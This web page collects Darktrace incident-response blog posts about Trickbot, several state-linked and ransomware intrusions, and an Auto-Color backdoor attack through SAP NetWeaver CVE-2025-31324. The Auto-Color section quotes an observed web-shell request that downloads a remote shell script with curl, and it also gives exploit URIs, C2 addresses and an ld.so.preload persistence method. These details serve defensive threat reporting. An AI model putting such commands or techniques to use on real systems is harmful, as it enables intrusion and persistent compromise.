Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tony Jarvis
VP, Field CISO
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22
Mar 2022
In the lead-up to the 2020 US election, Microsoft and its partners attempted to bring down the pernicious Trickbot malware and reduce election tampering attempts. These efforts were successful, to an extent: the takedown effectively eliminated 94% of Trickbot’s infrastructure and massively reduced its influence in late 2020.
Malware rarely stays dead, however. We discussed previously how the arrests which followed REvil’s widespread attacks in 2021 have done little to disrupt that group’s Ransomware-as-a-Service operation, and how Ryuk ransomware fell into new hands after being abandoned by its creators.
Trickbot has seen a resurrection of even greater proportions. By June 2021, when Darktrace detected a Trickbot intrusion in one of its customer environments, the malware was far from a forgotten, ineffectual strain. It had instead become the most prevalent malware in the world.
It was only due to a last-minute activation of Darktrace’s Autonomous Response that this customer was able to avoid falling victim to a successful ransomware attack. Because it can take action at any stage of an attack, Autonomous Response could interrupt Trickbot even after it had taken root within the digital environment, and successfully prevent the execution of ransomware.
Trickbot takes root
The intrusion took place at a public administration organization in the EMEA region. Prior to Darktrace’s deployment, a single internal domain controller had been compromised by Trickbot, which then lay dormant for at least a month. By the time the malware began to take action, however, Darktrace’s AI had been deployed. Despite entering a compromised environment, the AI was able to differentiate between benign and malicious activity and immediately detect the threat, though at this point Autonomous Response was configured to not take any action without human confirmation.
Darktrace detected the compromised domain controller uploading a malicious DLL file – very likely Trickbot itself – to approximately 280 devices in the organization over SMB, and then using Windows Management Instrumentation (WMI) to configure and execute it. Despite Trickbot’s age and infamy, tools dependent on threat intelligence remained silent at this stage.
Figure 1: Timeline of the attack
How attackers resurrected Trickbot
Trickbot’s modular nature makes it a perfect gateway for a host of criminal activities, and keeps the malware itself adaptable and therefore hard to defend against. The action coordinated by Microsoft successfully took down the known IP addresses of multiple Trickbot command and control (C2) servers and temporarily prevented Trickbot operators from purchasing or leasing new ones. But it did not take long for the Trickbot infrastructure to be rebuilt, and in May and June of 2021 it was again deemed the most prevalent malware in a Global Threat Index.
Trickbot’s ability to evolve and circumvent existing OSINT was demonstrated in this attack, as Darktrace noticed 160 of the 280 compromised devices it had detected beginning to connect to a host of new C2 endpoints. None of these had OSINT associating them with malicious activity, but Darktrace considered the activity highly unusual in the context of previous behavior, and the security team were notified of this potential high-severity incident via a Proactive Threat Notification (PTN).
The attackers laid low for over a month, before the compromised devices were detected downloading masqueraded executable files and conducting anomalous scanning activity. These files were likely Ryuk ransomware payloads. By spacing out these stages of the attack, the threat actors made it harder for human teams to connect the dots and reveal the full scope of the threat.
Darktrace’s Cyber AI Analyst, which investigates and triages threats across entire digital environments, was able to piece these disparate events into a single attack narrative, however, and deliver a further PTN. Due to the severity of the situation, the customer submitted to Darktrace’s Ask the Expert (ATE) service to receive assistance with their threat response.
Figure 2: Cyber AI Analyst investigates suspicious executable files being spread to multiple internal devices
Autonomous Response shuts down a late-stage attack
Having understood the scale of the threat they now faced, the team activated Autonomous Response to take autonomous action to contain the threat. If Autonomous Response had been in place from the beginning, it would have stopped this attack in its earliest stages, while it was restricted to a single compromised domain controller. Crucially, however, Autonomous Response can take action at any stage of a ransomware attack.
Even at this late stage, it was able to halt the attackers and prevent Ryuk from being executed on the network. The AI blocked a chain of malicious activities including SMB enumeration, networking scanning, and suspicious outbound connections in seconds, disrupting the attack while enforcing normal business operations to ensure that the rest of the company’s work could continue uninterrupted.
With their C2 communications and lateral movement efforts disrupted, the attackers were unable to execute Ryuk, and the attack came to an end just in time. It is likely that this last-minute activation of Autonomous Response avoided widespread data encryption and possibly exfiltration, as well as the numerous costs which follow a successful ransomware attack even if a ransom is paid.
Deploying Autonomous Response before it’s too late
Despite only being activated once the attack had taken root, Darktrace was still able to distinguish malicious activity from normal business operations and stop the threat without causing disruption. Next time an attack strikes, this organization will be prepared with Autonomous Response in fully autonomous mode from the outset, ready to take action at the first sign of an emerging threat and minimize their remediation efforts.
The journey to fully autonomous security requires organizations to build trust in AI’s accuracy and decision-making. What this journey looks like for each individual organization will differ, but the need for technology that can autonomously respond to emerging threats is not a lesson any organization ought to learn the hard way.
Thanks to Darktrace analyst Sam Lister for his insights on the above threat find.
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Auto-Color Backdoor: How Darktrace Thwarted a Stealthy Linux Intrusion
This blog examines a real-world Auto-Color malware attack that originated from the exploitation of CVE-2025-31324. Learn how Darktrace identified and contained the threat using AI-driven detection and response, with additional support from its expert analyst team.
Untangling the web: Darktrace’s investigation of Scattered Spider’s evolving tactics
Learn about a recent Scattered Spider attack observed by Darktrace, comparing tactics with those seen in previous attacks. Widespread use of LOTL techniques alongside continued changes in TTPs such as their recent use of Ransomware-as-a-Service (RaaS) platforms can make it challenging for security teams to harden defenses.
Patch and Persist: Darktrace’s Detection of Blind Eagle (APT-C-36)
Since 2018, Blind Eagle has targeted Latin American organizations using phishing and RATs. Darktrace detected Blind Eagle activity on a customer network involving C2 connectivity, malicious payload downloads and data exfiltration. Without Autonomous Response, the attack escalated, highlighting the need for proactive detection and response defense to counter fast-evolving threats.
Darktrace's Cyber AI Analyst in Action: 4 Real-World Investigations into Advanced Threat Actors
From automation to intelligence
There’s a lot of attention around AI in cybersecurity right now, similar to how important automation felt about 15 years ago. But this time, the scale and speed of change feel different.
In the context of cybersecurity investigations, the application of AI can significantly enhance an organization's ability to detect, respond to, and recover from incidents. It enables a more proactive approach to cybersecurity, ensuring a swift and effective response to potential threats.
At Darktrace, we’ve learned that no single AI technique can solve cybersecurity on its own. We employ a multi-layered AI approach, strategically integrating a diverse set of techniques both sequentially and hierarchically. This layered architecture allows us to deliver proactive, adaptive defense tailored to each organization’s unique environment.
Darktrace uses a range of AI techniques to perform in-depth analysis and investigation of anomalies identified by lower-level alerts, in particular automating Levels 1 and 2 of the Security Operations Centre (SOC) team’s workflow. This saves teams time and resources by automating repetitive and time-consuming tasks carried out during investigation workflows. We call this core capability Cyber AI Analyst.
How Darktrace’s Cyber AITM Analyst works
Cyber AI Analyst mimics the way a human carries out a threat investigation: evaluating multiple hypotheses, analyzing logs for involved assets, and correlating findings across multiple domains. It will then generate an alert with full technical details, pulling relevant findings into a single pane of glass to track the entire attack chain.
Learn more about how Cyber AI Analyst accomplishes this here:
This blog will highlight four examples where Darktrace’s agentic AI, Cyber AI Analyst, successfully identified the activity of sophisticated threat actors, including nation state adversaries. The final example will include step-by-step details of the investigations conducted by Cyber AI Analyst.
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Case 1: Cyber AI Analyst vs. ShadowPad Malware: East Asian Advanced Persistent Threat (APT)
In March 2025, Darktrace detailed a lengthy investigation into two separate threads of likely state-linked intrusion activity in a customer network, showcasing Cyber AI Analyst’s ability to identify different activity threads and piece them together.
The first of these threads...
occurred in July 2024 and involved a malicious actor establishing a foothold in the customer’s virtual private network (VPN) environment, likely via the exploitation of an information disclosure vulnerability (CVE-2024-24919) affecting Check Point Security Gateway devices.
Using compromised service account credentials, the actor then moved laterally across the network via RDP and SMB, with files related to the modular backdoor ShadowPad being delivered to targeted internal systems. Targeted systems went on to communicate with a C2 server via both HTTPS connections and DNS tunnelling.
The second thread of activity...
Which occurred several months earlier in October 2024, involved a malicious actor infiltrating the customer's desktop environment via SMB and WMI.
The actor used these compromised desktops to discriminately collect sensitive data from a network share before exfiltrating such data to a web of likely compromised websites.
For each of these threads of activity, Cyber AI Analyst was able to identify and piece together the relevant intrusion steps by hypothesizing, analyzing, and then generating a singular view of the full attack chain.
Figure 1: Cyber AI Analyst identifying and piecing together the various steps of the ShadowPad intrusion activity.
Figure 2: Cyber AI Analyst Incident identifying and piecing together the various steps of the data theft activity.
These Cyber AI Analyst investigations enabled a quicker understanding of the threat actor’s sequence of events and, in some cases, led to faster containment.
Case 2: Cyber AI Analyst vs. Blind Eagle: South American APT
Since 2018, APT-C-36, also known as Blind Eagle, has been observed performing cyber-attacks targeting various sectors across multiple countries in Latin America, with a particular focus on Colombia.
In February 2025, Cyber AI Analyst provided strong coverage of a Blind Eagle intrusion targeting a South America-based public transport provider, identifying and correlating various stages of the attack, including tooling.
Figure 3: Cyber AI Analyst investigation linking likely Remcos C2 traffic, a suspicious file download, and eventual data exfiltration.Type image caption here (optional)
Figure 4: Cyber AI Analyst identifying unusual data uploads to another likely Remcos C2 endpoint and correlated each of the individual detections involved in this compromise, identifying them as part of a broader incident that encompassed C2 connectivity, suspicious downloads, and external data transfers.
In this campaign, threat actors have been observed using phishing emails to deliver malicious URL links to targeted recipients, similar to the way threat actors have previously been observed exploiting CVE-2024-43451, a vulnerability in Microsoft Windows that allows the disclosure of a user’s NTLMv2 password hash upon minimal interaction with a malicious file [4].
In late February 2025, Darktrace observed activity assessed with medium confidence to be associated with Blind Eagle on the network of a customer in Colombia. Darktrace observed a device on the customer’s network being directed over HTTP to a rare external IP, namely 62[.]60[.]226[.]112, which had never previously been seen in this customer’s environment and was geolocated in Germany.
In mid-March 2025, a malicious actor gained access to a customer’s network through their VPN. Using the credential 'tfsservice', the actor conducted network reconnaissance, before leveraging the Zerologon vulnerability and the Directory Replication Service to obtain credentials for the high-privilege accounts, ‘_svc_generic’ and ‘administrator’.
The actor then abused these account credentials to pivot over RDP to internal servers, such as DCs. Targeted systems showed signs of using various tools, including the remote monitoring and management (RMM) tool AnyDesk, the proxy tool SystemBC, the data compression tool WinRAR, and the data transfer tool WinSCP.
The actor finally collected and exfiltrated several gigabytes of data to the cloud storage services, MEGA, Backblaze, and LimeWire, before returning to attempt ransomware detonation.
Figure 5: Cyber AI Analyst detailing its full investigation, linking 34 related Incident Events in a single pane of glass.
Cyber AI Analyst identified, analyzed, and reported on all corners of this attack, resulting in a threat tray made up of 34 Incident Events into a singular view of the attack chain.
Cyber AI Analyst identified activity associated with the following tactics across the MITRE attack chain:
Initial Access
Persistence
Privilege Escalation
Credential Access
Discovery
Lateral Movement
Execution
Command and Control
Exfiltration
Case 4: Cyber AI Analyst vs Ransomhub
Figure 6: Cyber AI Analyst presenting its full investigation into RansomHub, correlating 38 Incident Events.
A malicious actor appeared to have entered the customer’s network their VPN, using a likely attacker-controlled device named 'DESKTOP-QIDRDSI'. The actor then pivoted to other systems via RDP and distributed payloads over SMB.
Some systems targeted by the attacker went on to exfiltrate data to the likely ReliableSite Bare Metal server, 104.194.10[.]170, via HTTP POSTs over port 5000. Others executed RansomHub ransomware, as evidenced by their SMB-based distribution of ransom notes named 'README_b2a830.txt' and their addition of the extension '.b2a830' to the names of files in network shares.
Through its live investigation of this attack, Cyber AI Analyst created and reported on 38 Incident Events that formed part of a single, wider incident, providing a full picture of the threat actor’s behavior and tactics, techniques, and procedures (TTPs). It identified activity associated with the following tactics across the MITRE attack chain:
Execution
Discovery
Lateral Movement
Collection
Command and Control
Exfiltration
Impact (i.e., encryption)
Figure 7: Step-by-step details of one of the network scanning investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 8: Step-by-step details of one of the administrative connectivity investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 9: Step-by-step details of one of the external data transfer investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 10: Step-by-step details of one of the data collection and exfiltration investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 11: Step-by-step details of one of the ransomware encryption investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Conclusion
Security teams are challenged to keep up with a rapidly evolving cyber-threat landscape, now powered by AI in the hands of attackers, alongside the growing scope and complexity of digital infrastructure across the enterprise.
Traditional security methods, even those that use some simple machine learning, are no longer sufficient, as these tools cannot keep pace with all possible attack vectors or respond quickly enough machine-speed attacks, given their complexity compared to known and expected patterns. Security teams require a step up in their detection capabilities, leveraging machine learning to understand the environment, filter out the noise, and take action where threats are identified. This is where Cyber AI Analyst steps in to help.
Credit to Nathaniel Jones (VP, Security & AI Strategy, FCISO), Sam Lister (Security Researcher), Emma Foulger (Global Threat Research Operations Lead), and Ryan Traill (Analyst Content Lead)
Auto-Color Backdoor: How Darktrace Thwarted a Stealthy Linux Intrusion
In April 2025, Darktrace identified an Auto-Color backdoor malware attack taking place on the network of a US-based chemicals company.
Over the course of three days, a threat actor gained access to the customer’s network, attempted to download several suspicious files and communicated with malicious infrastructure linked to Auto-Color malware.
After Darktrace successfully blocked the malicious activity and contained the attack, the Darktrace Threat Research team conducted a deeper investigation into the malware.
They discovered that the threat actor had exploited CVE-2025-31324 to deploy Auto-Color as part of a multi-stage attack — the first observed pairing of SAP NetWeaver exploitation with the Auto-Color malware.
Furthermore, Darktrace’s investigation revealed that Auto-Color is now employing suppression tactics to cover its tracks and evade detection when it is unable to complete its kill chain.
What is CVE-2025-31324?
On April 24, 2025, the software provider SAP SE disclosed a critical vulnerability in its SAP Netweaver product, namely CVE-2025-31324. The exploitation of this vulnerability would enable malicious actors to upload files to the SAP Netweaver application server, potentially leading to remote code execution and full system compromise. Despite the urgent disclosure of this CVE, the vulnerability has been exploited on several systems [1]. More information on CVE-2025-31324 can be found in our previous discussion.
What is Auto-Color Backdoor Malware?
The Auto-Color backdoor malware, named after its ability to rename itself to “/var/log/cross/auto-color” after execution, was first observed in the wild in November 2024 and is categorized as a Remote Access Trojan (RAT).
Auto-Colour has primarily been observed targeting universities and government institutions in the US and Asia [2].
What does Auto-Color Backdoor Malware do?
It is known to target Linux systems by exploiting built-in system features like ld.so.preload, making it highly evasive and dangerous, specifically aiming for persistent system compromise through shared object injection.
Each instance uses a unique file and hash, due to its statically compiled and encrypted command-and-control (C2) configuration, which embeds data at creation rather than retrieving it dynamically at runtime. The behavior of the malware varies based on the privilege level of the user executing it and the system configuration it encounters.
How does Auto-Color work?
The malware’s process begins with a privilege check; if the malware is executed without root privileges, it skips the library implant phase and continues with limited functionality, avoiding actions that require system-level access, such as library installation and preload configuration, opting instead to maintain minimal activity while continuing to attempt C2 communication. This demonstrates adaptive behavior and an effort to reduce detection when running in restricted environments.
If run as root, the malware performs a more invasive installation, installing a malicious shared object, namely **libcext.so.2**, masquerading as a legitimate C utility library, a tactic used to blend in with trusted system components. It uses dynamic linker functions like dladdr() to locate the base system library path; if this fails, it defaults to /lib.
Gaining persistence through preload manipulation
To ensure persistence, Auto-Color modifies or creates /etc/ld.so.preload, inserting a reference to the malicious library. This is a powerful Linux persistence technique as libraries listed in this file are loaded before any others when running dynamically linked executables, meaning Auto-Color gains the ability to silently hook and override standard system functions across nearly all applications.
Once complete, the ELF binary copies and renames itself to “**/var/log/cross/auto-color**”, placing the implant in a hidden directory that resembles system logs. It then writes the malicious shared object to the base library path.
A delayed payload activated by outbound communication
To complete its chain, Auto-Color attempts to establish an outbound TLS connection to a hardcoded IP over port 443. This enables the malware to receive commands or payloads from its operator via API requests [2].
Interestingly, Darktrace found that Auto-Color suppresses most of its malicious behavior if this connection fails - an evasion tactic commonly employed by advanced threat actors. This ensures that in air-gapped or sandboxed environments, security analysts may be unable to observe or analyze the malware’s full capabilities.
If the C2 server is unreachable, Auto-Color effectively stalls and refrains from deploying its full malicious functionality, appearing benign to analysts. This behavior prevents reverse engineering efforts from uncovering its payloads, credential harvesting mechanisms, or persistence techniques.
In real-world environments, this means the most dangerous components of the malware only activate when the attacker is ready, remaining dormant during analysis or detonation, and thereby evading detection.
Darktrace’s coverage of the Auto-Color malware
Initial alert to Darktrace’s SOC
On April 28, 2025, Darktrace’s Security Operations Centre (SOC) received an alert for a suspicious ELF file downloaded on an internet-facing device likely running SAP Netweaver. ELF files are executable files specific to Linux, and in this case, the unexpected download of one strongly indicated a compromise, marking the delivery of the Auto-Color malware.
Figure 1: A timeline breaking down the stages of the attack
Early signs of unusual activity detected by Darktrace
While the first signs of unusual activity were detected on April 25, with several incoming connections using URIs containing /developmentserver/metadatauploader, potentially scanning for the CVE-2025-31324 vulnerability, active exploitation did not begin until two days later.
Initial compromise via ZIP file download followed by DNS tunnelling requests
In the early hours of April 27, Darktrace detected an incoming connection from the malicious IP address 91.193.19[.]109[.] 6.
The telltale sign of CVE-2025-31324 exploitation was the presence of the URI ‘/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1’, combined with a ZIP file download.
The device immediately made a DNS request for the Out-of-Band Application Security Testing (OAST) domain aaaaaaaaaaaa[.]d06oojugfd4n58p4tj201hmy54tnq4rak[.]oast[.]me.
OAST is commonly used by threat actors to test for exploitable vulnerabilities, but it can also be leveraged to tunnel data out of a network via DNS requests.
Darktrace’s Autonomous Response capability quickly intervened, enforcing a “pattern of life” on the offending device for 30 minutes. This ensured the device could not deviate from its expected behavior or connections, while still allowing it to carry out normal business operations.
Figure 2: Alerts from the device’s Model Alert Log showing possible DNS tunnelling requests to ‘request bin’ services.
Figure 3: Darktrace’s Autonomous Response enforcing a “pattern of life” on the compromised device following a suspicious tunnelling connection.
Continued malicious activity
The device continued to receive incoming connections with URIs containing ‘/developmentserver/metadatauploader’. In total seven files were downloaded (see filenames in Appendix).
Around 10 hours later, the device made a DNS request for ‘ocr-freespace.oss-cn-beijing.aliyuncs[.]com’.
In the same second, it also received a connection from 23.186.200[.]173 with the URI ‘/irj/helper.jsp?cmd=curl -O hxxps://ocr-freespace.oss-cn-beijing.aliyuncs[.]com/2025/config.sh’, which downloaded a shell script named config.sh.
Execution
This script was executed via the helper.jsp file, which had been downloaded during the initial exploit, a technique also observed in similar SAP Netweaver exploits [4].
Darktrace subsequently observed the device making DNS and SSL connections to the same endpoint, with another inbound connection from 23.186.200[.]173 and the same URI observed again just ten minutes later.
The device then went on to make several connections to 47.97.42[.]177 over port 3232, an endpoint associated with Supershell, a C2 platform linked to backdoors and commonly deployed by China-affiliated threat groups [5].
Less than 12 hours later, and just 24 hours after the initial exploit, the attacker downloaded an ELF file from http://146.70.41.178:4444/logs, which marked the delivery of the Auto-Color malware.
Figure 4: Darktrace’s detection of unusual outbound connections and the subsequent file download from http://146.70.41.178:4444/logs, as identified by Cyber AI Analyst.
A deeper investigation into the attack
Darktrace’s findings indicate that CVE-2025-31324 was leveraged in this instance to launch a second-stage attack, involving the compromise of the internet-facing device and the download of an ELF file representing the Auto-Color malware—an approach that has also been observed in other cases of SAP NetWeaver exploitation [4].
Darktrace identified the activity as highly suspicious, triggering multiple alerts that prompted triage and further investigation by the SOC as part of the Darktrace Managed Detection and Response (MDR) service.
During this investigation, Darktrace analysts opted to extend all previously applied Autonomous Response actions for an additional 24 hours, providing the customer’s security team time to investigate and remediate.
Figure 5: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.
At the host level, the malware began by assessing its privilege level; in this case, it likely detected root access and proceeded without restraint. Following this, the malware began the chain of events to establish and maintain persistence on the device, ultimately culminating an outbound connection attempt to its hardcoded C2 server.
Figure 6: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.
Over a six-hour period, Darktrace detected numerous attempted connections to the endpoint 146.70.41[.]178 over port 443. In response, Darktrace’s Autonomous Response swiftly intervened to block these malicious connections.
Given that Auto-Color relies heavily on C2 connectivity to complete its execution and uses shared object preloading to hijack core functions without modifying existing binaries, the absence of a successful connection to its C2 infrastructure (in this case, 146.70.41[.]178) causes the malware to sleep before trying to reconnect.
While Darktrace’s analysis was limited by the absence of a live C2, prior research into its command structure reveals that Auto-Color supports a modular C2 protocol. This includes reverse shell initiation (0x100), file creation and execution tasks (0x2xx), system proxy configuration (0x300), and global payload manipulation (0x4XX). Additionally, core command IDs such as 0,1, 2, 4, and 0xF cover basic system profiling and even include a kill switch that can trigger self-removal of the malware [2]. This layered command set reinforces the malware’s flexibility and its dependence on live operator control.
Thanks to the timely intervention of Darktrace’s SOC team, who extended the Autonomous Response actions as part of the MDR service, the malicious connections remained blocked. This proactive prevented the malware from escalating, buying the customer’s security team valuable time to address the threat.
Conclusion
Ultimately, this incident highlights the critical importance of addressing high-severity vulnerabilities, as they can rapidly lead to more persistent and damaging threats within an organization’s network. Vulnerabilities like CVE-2025-31324 continue to be exploited by threat actors to gain access to and compromise internet-facing systems. In this instance, the download of Auto-Color malware was just one of many potential malicious actions the threat actor could have initiated.
From initial intrusion to the failed establishment of C2 communication, the Auto-Color malware showed a clear understanding of Linux internals and demonstrated calculated restraint designed to minimize exposure and reduce the risk of detection. However, Darktrace’s ability to detect this anomalous activity, and to respond both autonomously and through its MDR offering, ensured that the threat was contained. This rapid response gave the customer’s internal security team the time needed to investigate and remediate, ultimately preventing the attack from escalating further.
Credit to Harriet Rayner (Cyber Analyst), Owen Finn (Cyber Analyst), Tara Gould (Threat Research Lead) and Ryan Traill (Analyst Content Lead)
Appendices
MITRE ATT&CK Mapping
Malware - RESOURCE DEVELOPMENT - T1588.001
Drive-by Compromise - INITIAL ACCESS - T1189
Data Obfuscation - COMMAND AND CONTROL - T1001
Non-Standard Port - COMMAND AND CONTROL - T1571
Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol - EXFILTRATION - T1048.003
Masquerading - DEFENSE EVASION - T1036
Application Layer Protocol - COMMAND AND CONTROL - T1071
Unix Shell – EXECUTION - T1059.004
LC_LOAD_DYLIB Addition – PERSISTANCE - T1546.006
Match Legitimate Resource Name or Location – DEFENSE EVASION - T1036.005
